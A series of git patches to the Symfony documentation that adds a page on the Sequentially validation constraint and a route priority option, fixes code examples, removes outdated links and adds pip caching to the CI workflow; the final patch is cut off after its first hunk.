 create mode 100644 reference/constraints/Sequentially.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 4335c9f13ae..760c0199b89 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -63,6 +63,7 @@ Validation Constraints Reference
    constraints/Isbn
    constraints/Issn
 
+   constraints/Sequentially
    constraints/Compound
    constraints/Callback
    constraints/Expression
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
new file mode 100644
index 00000000000..6d4ea2e164c
--- /dev/null
+++ b/reference/constraints/Sequentially.rst
@@ -0,0 +1,142 @@
+Sequentially
+============
+
+This constraint allows you to apply a set of rules that should be validated
+step-by-step, allowing to interrupt the validation once the first violation is raised.
+
+As an alternative in situations ``Sequentially`` cannot solve, you may consider
+using :doc:`GroupSequence</validation/sequence_provider>` which allows more control.
+
+.. versionadded:: 5.1
+
+    The ``Sequentially`` constraint was introduced in Symfony 5.1.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `constraints`_
+            - `groups`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Sequentially`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SequentiallyValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+Suppose that you have a ``Place`` object with an ``$address`` property which
+must match the following requirements:
+- it's a non-blank string
+- of at least 10 chars long
+- with a specific format
+- and geolocalizable using an external service
+
+In such situations, you may encounter three issues:
+- the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException`
+exception if the actual value is not a string, as enforced by ``Type``.
+- you may end with multiple error messages for the same property
+- you may perform a useless and heavy external call to geolocalize the address,
+while the format isn't valid.
+
+You can validate each of these constraints sequentially to solve these issues:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Localization/Place.php
+        namespace App\Localization;
+
+        use App\Validator\Constraints as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Place
+        {
+            /**
+             * @var string
+             *
+             * @Assert\Sequentially({
+             *     @Assert\NotBlank(),
+             *     @Assert\Type("string"),
+             *     @Assert\Length(min=10),
+             *     @Assert\Regex(Place::ADDRESS_REGEX),
+             *     @AcmeAssert\Geolocalizable(),
+             * })
+             */
+            public $address;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Localization\Place:
+            properties:
+                address:
+                    - Sequentially:
+                        - NotBlank: ~
+                        - Type: string
+                        - Length: { min: 10 }
+                        - Regex: !php/const App\Localization\Place::ADDRESS_REGEX
+                        - App\Validator\Constraints\Geolocalizable: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Localization\Place">
+                <property name="address">
+                    <constraint name="Sequentially">
+                            <constraint name="NotBlank"/>
+                            <constraint name="Type">string</constraint>
+                            <constraint name="Length">
+                                <option name="min">10</option>
+                            </constraint>
+                            <constraint name="Regex">
+                                <option name="pattern">/address-regex/</option>
+                            </constraint>
+                            <constraint name="App\Validator\Constraints\Geolocalizable"/>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Localization/Place.php
+        namespace App\Localization;
+
+        use App\Validator\Constraints as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Place
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('address', new Assert\Sequentially([
+                    new Assert\NotBlank(),
+                    new Assert\Type("string"),
+                    new Assert\Length(['min' => 10]),
+                    new Assert\Regex(self::ADDRESS_REGEX),
+                    new AcmeAssert\Geolocalizable(),
+                ]));
+            }
+        }
+
+Options
+-------
+
+``constraints``
+~~~~~~~~~~~~~~~
+
+**type**: ``array`` [:ref:`default option <validation-default-option>`]
+
+This required option is the array of validation constraints that you want
+to apply sequentially.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 963a2816fa0..dbc6a3b5d74 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -84,6 +84,7 @@ Financial and other Number Constraints
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
+* :doc:`Sequentially </reference/constraints/Sequentially>`
 * :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`
 * :doc:`Expression </reference/constraints/Expression>`
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 98a9389212f..4bb6302e4a8 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -355,3 +355,14 @@ provides a sequence of groups to be validated:
                 // ...
             }
         }
+
+How to Sequentially Apply Constraints on a Single Property
+==========================================================
+
+Sometimes, you may want to apply constraints sequentially on a single
+property. The :doc:`Sequentially constraint</reference/constraints/Sequentially>`
+can solve this for you in a more straightforward way than using a ``GroupSequence``.
+
+.. versionadded:: 5.1
+
+    The ``Sequentially`` constraint was introduced in Symfony 5.1.

From b07d73982d7c71bae81cb418b24cb000812ff015 Mon Sep 17 00:00:00 2001
From: Anna Filina <afilina@gmail.com>
Date: Sat, 22 Feb 2020 20:12:01 -0500
Subject: [PATCH 0402/7107] Fix broken example

`has_role` doesn't exist.
---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index db131726b85..e76d7220c8b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -504,7 +504,7 @@ transition. The value of this option is any valid expression created with the
                         to:   published
                     reject:
                         # or any valid expression language with "subject" referring to the supported object
-                        guard: "has_role('ROLE_ADMIN') and subject.isRejectable()"
+                        guard: "is_granted('ROLE_ADMIN') and subject.isRejectable()"
                         from: reviewed
                         to:   rejected
 

From a67a59b0bda76b676881edff4d1bcabb6ce8dd23 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 12 Feb 2020 12:56:26 +0100
Subject: [PATCH 0403/7107] add priority option to annotated routes

---
 routing.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/routing.rst b/routing.rst
index 31ca2baffca..fc360f6fe82 100644
--- a/routing.rst
+++ b/routing.rst
@@ -794,6 +794,54 @@ parameter:
     To give a ``null`` default value to any parameter, add nothing after the
     ``?`` character (e.g. ``/blog/{page?}``).
 
+Priority Parameter
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``priority`` parameter was introduced in Symfony 5.1
+
+When defining a greedy pattern that matches many routes, this may be at the
+beginning of your routing collection and prevents any route defined after to be
+matched.
+A ``priority`` optional parameter is available in order to let you choose the
+order of your routes, and it is only available when using annotations.
+
+.. code-block:: php-annotations
+
+    // src/Controller/BlogController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class BlogController extends AbstractController
+    {
+        /**
+         * This route has a greedy pattern and is defined first.
+         *
+         * @Route("/blog/{slug}", name="blog_show")
+         */
+        public function show(string $slug)
+        {
+            // ...
+        }
+
+        /**
+         * This route could not be matched without defining a higher priority than 0.
+         *
+         * @Route("/blog/list", name="blog_list", priority=2)
+         */
+        public function list()
+        {
+            // ...
+        }
+    }
+
+The priority parameter expects an integer value. Routes with higher priority
+are sorted before routes with lower priority. The default value when it is not
+defined is ``0``.
+
 Parameter Conversion
 ~~~~~~~~~~~~~~~~~~~~
 

From 51cb970f87f87049788f3a5cba94bb229d37375a Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 22 Feb 2020 10:00:20 -0500
Subject: [PATCH 0404/7107] Remove the TwigBundle\ExceptionController mention
 and extending doc

---
 controller/error_pages.rst | 66 +++-----------------------------------
 1 file changed, 4 insertions(+), 62 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 3f9f6550e84..f59eda0c0f6 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -253,7 +253,7 @@ configuration option to point to it:
 
         # config/packages/framework.yaml
         framework:
-            error_controller: App\Controller\ErrorController::showAction
+            error_controller: App\Controller\ErrorController::show
 
     .. code-block:: xml
 
@@ -265,7 +265,7 @@ configuration option to point to it:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:error-controller>App\Controller\ErrorController::showAction</framework:error-controller>
+                <framework:error-controller>App\Controller\ErrorController::show</framework:error-controller>
             </framework:config>
 
         </container>
@@ -274,7 +274,7 @@ configuration option to point to it:
 
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
-            'error_controller' => 'App\Controller\ErrorController::showAction',
+            'error_controller' => 'App\Controller\ErrorController::show',
             // ...
         ]);
 
@@ -284,70 +284,12 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    A :class:`\\Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
-    instance created from the exception being handled.
+    The original :class:`Throwable` instance being handled.
 
 ``logger``
     A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface`
     instance which may be ``null`` in some circumstances.
 
-Instead of creating a new exception controller from scratch you can also extend
-the default :class:`Symfony\\Bundle\\TwigBundle\\Controller\\ExceptionController`.
-In that case, you might want to override one or both of the ``showAction()`` and
-``findTemplate()`` methods. The latter one locates the template to be used.
-
-.. note::
-
-    In case of extending the
-    :class:`Symfony\\Bundle\\TwigBundle\\Controller\\ExceptionController` you
-    may configure a service to pass the Twig environment and the ``debug`` flag
-    to the constructor.
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/services.yaml
-            services:
-                _defaults:
-                    # ... be sure autowiring is enabled
-                    autowire: true
-                # ...
-
-                App\Controller\CustomExceptionController:
-                    public: true
-                    arguments:
-                        $debug: '%kernel.debug%'
-
-        .. code-block:: xml
-
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <!-- ... be sure autowiring is enabled -->
-                    <defaults autowire="true"/>
-                    <!-- ... -->
-
-                    <service id="App\Controller\CustomExceptionController" public="true">
-                        <argument key="$debug">%kernel.debug%</argument>
-                    </service>
-                </services>
-
-            </container>
-
-        .. code-block:: php
-
-            // config/services.php
-            use App\Controller\CustomExceptionController;
-
-            $container->autowire(CustomExceptionController::class)
-                ->setArgument('$debug', '%kernel.debug%');
-
 .. tip::
 
     The :ref:`error page preview <testing-error-pages>` also works for

From 4b1e7db3fcccc384f55a893ab41d56f57662b806 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 24 Feb 2020 07:54:41 +0100
Subject: [PATCH 0405/7107] Update workflow.rst

---
 components/workflow.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/workflow.rst b/components/workflow.rst
index 83189840993..297b7a1b044 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -101,6 +101,8 @@ When you have configured a ``Registry`` with your workflows, you may use it as f
 Learn more
 ----------
 
+Read more about the usage of the :doc:`Workflow component </workflow>` inside a Symfony application.
+
 .. toctree::
     :maxdepth: 1
     :glob:

From 939f224457e13311d0f1ce1ff5f575ac71e7f220 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Feb 2020 08:06:26 +0100
Subject: [PATCH 0406/7107] minor. refs #13224

---
 components/http_foundation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 913da149ccf..e4e7f7c384e 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -444,9 +444,9 @@ You can clear a cookie via the
 :method:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag::clearCookie` method.
 
 In addition to the ``Cookie::create()`` method, you can create a ``Cookie``
-object from a raw header value using :method:`Symfony\\Component\\HttpFoundation\\Cookie::fromString`.
-You can also use the ``with*()`` methods to change some Cookie property (or to
-build the entire Cookie using a fluent interface). Each ``with*()`` method returns
+object from a raw header value using :method:`Symfony\\Component\\HttpFoundation\\Cookie::fromString`
+method. You can also use the ``with*()`` methods to change some Cookie property (or
+to build the entire Cookie using a fluent interface). Each ``with*()`` method returns
 a new object with the modified property::
 
     $cookie = Cookie::create('foo')

From 65f9417e5ba730375ec834b6fa0aae38fbd84fb0 Mon Sep 17 00:00:00 2001
From: smoench <simon.moench@sensiolabs.de>
Date: Fri, 21 Feb 2020 17:09:59 +0100
Subject: [PATCH 0407/7107] speedup sphinx build/linting with caching doctrees
 and pip cache

---
 .github/workflows/ci.yaml | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 7b2582b2e63..d61b084f1e5 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -29,10 +29,15 @@ jobs:
             -   name: "Install Sphinx dependencies"
                 run: sudo apt-get install python-dev build-essential
 
-            -   name: "Install Sphinx"
-                run: pip install --user sphinx
+            -   name: "Cache pip"
+                uses: actions/cache@v1
+                with:
+                    path: ~/.cache/pip
+                    key: ${{ runner.os }}-pip-${{ hashFiles('_build/.requirements.txt') }}
+                    restore-keys: |
+                        ${{ runner.os }}-pip-
 
-            -   name: "Install custom requirements via pip"
+            -   name: "Install Sphinx + requirements via pip"
                 run: pip install -r _build/.requirements.txt
 
             -   name: "Build documentation"

From d81520222a7b593672371c8242485bc2b6b61fef Mon Sep 17 00:00:00 2001
From: Yanick Witschi <yanick.witschi@terminal42.ch>
Date: Thu, 5 Dec 2019 17:59:03 +0100
Subject: [PATCH 0408/7107] Clarified the three main types of exceptions thrown
 in HttpClient

---
 components/http_client.rst | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/components/http_client.rst b/components/http_client.rst
index 72fe272f0a0..be42bfa3857 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -436,7 +436,8 @@ Handling Exceptions
 
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
 4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()`` and ``getContent()`` methods throw an appropriate exception::
+``getHeaders()`` and ``getContent()`` methods throw an appropriate exception, all of
+which implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
 
     // the response of this request will be a 403 HTTP error
     $response = $client->request('GET', 'https://httpbin.org/status/403');
@@ -477,6 +478,17 @@ errors, exceptions will notify you when needed. On the other hand, if you write
 the error-handling code, you will opt-out from these fallback mechanisms as the
 destructor won't have anything remaining to do.
 
+There are three types of exceptions:
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface` are thrown when
+  your code does not handle the status codes in the 300-599 range.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface` are thrown
+  when a lower level issue occurs.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface` are thrown
+  when a content-type cannot be decoded to the expected representation.
+
 Concurrent Requests
 -------------------
 

From b23d8581e8454ebf3084fb0da9568ee118d3e9d9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 24 Feb 2020 19:06:11 +0100
Subject: [PATCH 0409/7107] Fixed wrongly resolved merge conflict

---
 service_container.rst | 25 ++++++++++---------------
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index a7fbad31641..84fa091c00b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -998,20 +998,15 @@ for classes under the same namespace:
 
     .. code-block:: yaml
 
-        # app/config/services.yml
+        # config/services.yaml
         services:
-            AppBundle\Domain\:
-                resource: '../../src/AppBundleDomain/*'
-
-    # config/services.yaml
-    services:
-        App\Domain\:
-            resource: '../src/Domain/*'
-            # ...
+            App\Domain\:
+                resource: '../src/Domain/*'
+                # ...
 
     .. code-block:: xml
 
-        <!-- app/config/services.xml -->
+        <!-- config/services.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -1019,8 +1014,8 @@ for classes under the same namespace:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <prototype namespace="AppBundle\Domain"
-                    resource="../../src/AppBundle/Domain/*"/>
+                <prototype namespace="App\Domain"
+                    resource="../src/App/Domain/*"/>
                 </prototype>
 
                 <!-- ... -->
@@ -1029,7 +1024,7 @@ for classes under the same namespace:
 
     .. code-block:: php
 
-        // app/config/services.php
+        // config/services.php
         use Symfony\Component\DependencyInjection\Definition;
 
         $defaults = new Definition();
@@ -1037,8 +1032,8 @@ for classes under the same namespace:
         // $this is a reference to the current loader
         $this->registerClasses(
             $defaults,
-            'AppBundle\\Domain\\',
-            '../../src/AppBundle/Domain/*'
+            'App\\Domain\\',
+            '../src/App/Domain/*'
         );
 
         // ...

From 0e8dfc687d5d4cd0d841c3df685c1be5b8427489 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 24 Feb 2020 19:44:57 +0100
Subject: [PATCH 0410/7107] Fixed wrongly resolved merge conflict

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 84fa091c00b..27685eecf36 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1041,7 +1041,7 @@ for classes under the same namespace:
 In order to have multiple definitions, add the ``namespace`` option and use any
 unique string as the key of each service config:
 
-.. configuration-block::
+.. code-block:: yaml
 
     # config/services.yaml
     services:

From 7562f64b16377714136e2d95b7e57a210122abbb Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@gmail.com>
Date: Mon, 24 Feb 2020 20:50:21 +0100
Subject: [PATCH 0411/7107] [Validator] Fix list in Sequentially doc

---
 reference/constraints/Sequentially.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 6d4ea2e164c..573a0a94a8e 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -25,17 +25,19 @@ Basic Usage
 
 Suppose that you have a ``Place`` object with an ``$address`` property which
 must match the following requirements:
-- it's a non-blank string
-- of at least 10 chars long
-- with a specific format
-- and geolocalizable using an external service
+
+* it's a non-blank string
+* of at least 10 chars long
+* with a specific format
+* and geolocalizable using an external service
 
 In such situations, you may encounter three issues:
-- the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException`
-exception if the actual value is not a string, as enforced by ``Type``.
-- you may end with multiple error messages for the same property
-- you may perform a useless and heavy external call to geolocalize the address,
-while the format isn't valid.
+
+* the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException`
+  exception if the actual value is not a string, as enforced by ``Type``.
+* you may end with multiple error messages for the same property
+* you may perform a useless and heavy external call to geolocalize the address,
+  while the format isn't valid.
 
 You can validate each of these constraints sequentially to solve these issues:
 

From 0cf6904875c1c36d4fc39eea9d751bc78b930537 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 25 Feb 2020 00:07:32 +0100
Subject: [PATCH 0412/7107] Update deployment.rst

Hello,

I removed old links which are not maintained for many years.
---
 deployment.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index bf5c07165b6..6a92e4df9b1 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -101,13 +101,6 @@ specifically tailored to the requirements of Symfony.
     `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_
     (which works only with Capistrano 2).
 
-`sf2debpkg`_
-    Helps you build a native Debian package for your Symfony project.
-
-Basic scripting
-    You can use shell, `Ant`_ or any other build tool to script
-    the deploying of your project.
-
 Common Post-Deployment Tasks
 ----------------------------
 
@@ -238,11 +231,9 @@ kernel and return your project's root directory::
 
 .. _`Capifony`: https://github.com/everzet/capifony
 .. _`Capistrano`: http://capistranorb.com/
-.. _`sf2debpkg`: https://github.com/liip/sf2debpkg
 .. _`Fabric`: http://www.fabfile.org/
 .. _`Ansistrano`: https://ansistrano.com/
 .. _`Magallanes`: https://github.com/andres-montanez/Magallanes
-.. _`Ant`: http://blog.sznapka.pl/deploying-symfony2-applications-with-ant
 .. _`Memcached`: http://memcached.org/
 .. _`Redis`: http://redis.io/
 .. _`Symfony plugin`: https://github.com/capistrano/symfony/

From b1d5404d6a59f68c957acf2bcf66cefc82977cdf Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@gmail.com>
Date: Tue, 25 Feb 2020 07:32:15 +0100
Subject: [PATCH 0413/7107] [Validator] Fix title in sequence_provider.rst

---
 validation/sequence_provider.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 4bb6302e4a8..ad59e529839 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -357,7 +357,7 @@ provides a sequence of groups to be validated:
         }
 
 How to Sequentially Apply Constraints on a Single Property
-==========================================================
+----------------------------------------------------------
 
 Sometimes, you may want to apply constraints sequentially on a single
 property. The :doc:`Sequentially constraint</reference/constraints/Sequentially>`

From 42581bbfd7d1a28cd25bf3101f16f357a2fceb07 Mon Sep 17 00:00:00 2001
From: Matthieu Mota <matthieumota@gmail.com>
Date: Mon, 24 Feb 2020 15:37:19 +0100
Subject: [PATCH 0414/7107] [MercureBundle] Use PublisherInterface

---
 mercure.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index b9a738bc13b..cebcc11eeb0 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -149,12 +149,12 @@ service, including controllers::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\Publisher;
+    use Symfony\Component\Mercure\PublisherInterface;
     use Symfony\Component\Mercure\Update;
 
     class PublishController
     {
-        public function __invoke(Publisher $publisher): Response
+        public function __invoke(PublisherInterface $publisher): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
@@ -286,7 +286,7 @@ by using the ``AbstractController::addLink`` helper method::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\WebLink\LInk;
+    use Symfony\Component\WebLink\Link;
 
     class DiscoverController extends AbstractController
     {
@@ -336,12 +336,12 @@ as the third parameter of the ``Update`` constructor::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\Publisher;
+    use Symfony\Component\Mercure\PublisherInterface;
     use Symfony\Component\Mercure\Update;
 
     class PublishController
     {
-        public function __invoke(Publisher $publisher): Response
+        public function __invoke(PublisherInterface $publisher): Response
         {
             $update = new Update(
                 'http://example.com/books/1',

From 7f8c72ab7f9584f0ff1fc954a4351289cac32d2c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 24 Feb 2020 18:39:52 +0100
Subject: [PATCH 0415/7107] Fixed all permanently redirected and broken URLs

---
 best_practices.rst                            |  4 +--
 bundles/override.rst                          |  2 +-
 components/cache.rst                          |  2 +-
 .../cache/adapters/memcached_adapter.rst      |  6 ++--
 .../adapters/pdo_doctrine_dbal_adapter.rst    |  3 +-
 .../cache/adapters/php_files_adapter.rst      |  2 +-
 components/cache/adapters/proxy_adapter.rst   |  4 +--
 components/cache/psr6_psr16_adapters.rst      |  2 +-
 components/dependency_injection.rst           |  2 +-
 components/dotenv.rst                         |  2 +-
 components/event_dispatcher.rst               |  4 +--
 components/finder.rst                         |  4 +--
 components/http_client.rst                    |  2 +-
 components/http_foundation.rst                |  2 +-
 .../http_foundation/session_configuration.rst |  7 ++--
 components/http_kernel.rst                    |  6 ++--
 components/intl.rst                           |  4 +--
 components/lock.rst                           |  4 +--
 components/messenger.rst                      |  2 ++
 components/mime.rst                           |  2 +-
 components/phpunit_bridge.rst                 | 13 ++++---
 components/serializer.rst                     |  2 +-
 components/validator.rst                      |  2 +-
 components/var_exporter.rst                   |  2 +-
 components/yaml.rst                           |  6 ++--
 components/yaml/yaml_format.rst               |  6 ++--
 configuration/micro_kernel_trait.rst          |  8 ++---
 contributing/code/conventions.rst             |  4 +--
 contributing/code/pull_requests.rst           |  4 +--
 contributing/code/standards.rst               |  2 +-
 contributing/code/tests.rst                   |  2 +-
 .../code_of_conduct/code_of_conduct.rst       |  2 +-
 contributing/community/releases.rst           |  4 +--
 contributing/community/reviews.rst            |  6 ++--
 contributing/documentation/format.rst         |  6 ++--
 contributing/documentation/license.rst        |  4 +--
 contributing/documentation/overview.rst       |  6 ++--
 contributing/documentation/standards.rst      |  6 ++--
 controller.rst                                |  6 ++--
 controller/argument_value_resolver.rst        |  2 +-
 controller/soap_web_service.rst               | 10 +++---
 create_framework/http_foundation.rst          |  4 +--
 .../http_kernel_controller_resolver.rst       |  2 +-
 .../http_kernel_httpkernelinterface.rst       |  5 ++-
 create_framework/introduction.rst             |  2 +-
 create_framework/templating.rst               |  2 +-
 deployment.rst                                | 10 +++---
 deployment/proxies.rst                        |  2 +-
 doctrine.rst                                  | 20 +++++------
 doctrine/associations.rst                     |  4 +--
 doctrine/custom_dql_functions.rst             |  2 +-
 doctrine/dbal.rst                             |  8 ++---
 doctrine/events.rst                           |  4 +--
 doctrine/mongodb_session_storage.rst          |  2 +-
 doctrine/multiple_entity_managers.rst         |  5 +--
 doctrine/reverse_engineering.rst              |  2 +-
 email.rst                                     |  4 +--
 form/form_themes.rst                          |  2 +-
 frontend/encore/advanced-config.rst           |  2 +-
 frontend/encore/babel.rst                     |  2 +-
 frontend/encore/installation.rst              |  2 +-
 frontend/encore/postcss.rst                   |  2 +-
 http_cache.rst                                | 10 +++---
 http_cache/cache_invalidation.rst             |  2 +-
 http_cache/expiration.rst                     |  2 +-
 http_cache/varnish.rst                        | 10 +++---
 introduction/from_flat_php_to_symfony.rst     |  4 +--
 introduction/http_fundamentals.rst            |  2 +-
 logging/monolog_console.rst                   | 10 +++---
 mailer.rst                                    |  6 ++--
 mercure.rst                                   |  8 ++---
 messenger/message-recorder.rst                |  3 +-
 migration.rst                                 |  2 +-
 page_creation.rst                             |  6 ++--
 performance.rst                               |  8 ++---
 reference/configuration/doctrine.rst          |  2 +-
 reference/configuration/framework.rst         | 36 +++++++++----------
 reference/configuration/security.rst          |  2 +-
 reference/constraints/Email.rst               |  2 +-
 reference/constraints/File.rst                |  4 +--
 reference/constraints/GreaterThan.rst         |  2 +-
 reference/constraints/GreaterThanOrEqual.rst  |  2 +-
 reference/constraints/Image.rst               |  4 +--
 reference/constraints/LessThan.rst            |  2 +-
 reference/constraints/LessThanOrEqual.rst     |  2 +-
 reference/constraints/Range.rst               |  5 ++-
 reference/constraints/Type.rst                |  4 +--
 reference/constraints/UniqueEntity.rst        |  3 +-
 reference/constraints/Uuid.rst                |  6 ++--
 reference/dic_tags.rst                        |  2 +-
 reference/forms/types/date.rst                |  2 +-
 .../types/options/_date_limitation.rst.inc    |  4 ++-
 .../forms/types/options/date_format.rst.inc   |  2 +-
 .../types/options/model_timezone.rst.inc      |  2 +-
 .../forms/types/options/view_timezone.rst.inc |  2 +-
 routing.rst                                   |  2 +-
 security/csrf.rst                             |  2 +-
 security/custom_authentication_provider.rst   |  2 +-
 security/ldap.rst                             |  2 +-
 serializer.rst                                |  4 +--
 serializer/normalizers.rst                    |  2 +-
 setup.rst                                     | 14 ++++----
 setup/_update_all_packages.rst.inc            |  2 +-
 setup/built_in_web_server.rst                 |  4 +--
 setup/flex.rst                                |  4 +--
 setup/homestead.rst                           |  2 +-
 testing.rst                                   |  2 +-
 translation/message_format.rst                |  4 +--
 validation.rst                                |  2 +-
 web_link.rst                                  |  4 +--
 workflow/dumping-workflows.rst                |  4 +--
 111 files changed, 233 insertions(+), 243 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 5616f1f8120..26fc1a0420f 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -10,7 +10,8 @@ You can even ignore them completely and continue using your own best practices
 and methodologies. Symfony is flexible enough to adapt to your needs.
 
 This article assumes that you already have experience developing Symfony
-applications. If you don't, read first the rest of the `Symfony documentation`_.
+applications. If you don't, read first the :doc:`Getting Started </setup>`
+section of the documentation.
 
 .. tip::
 
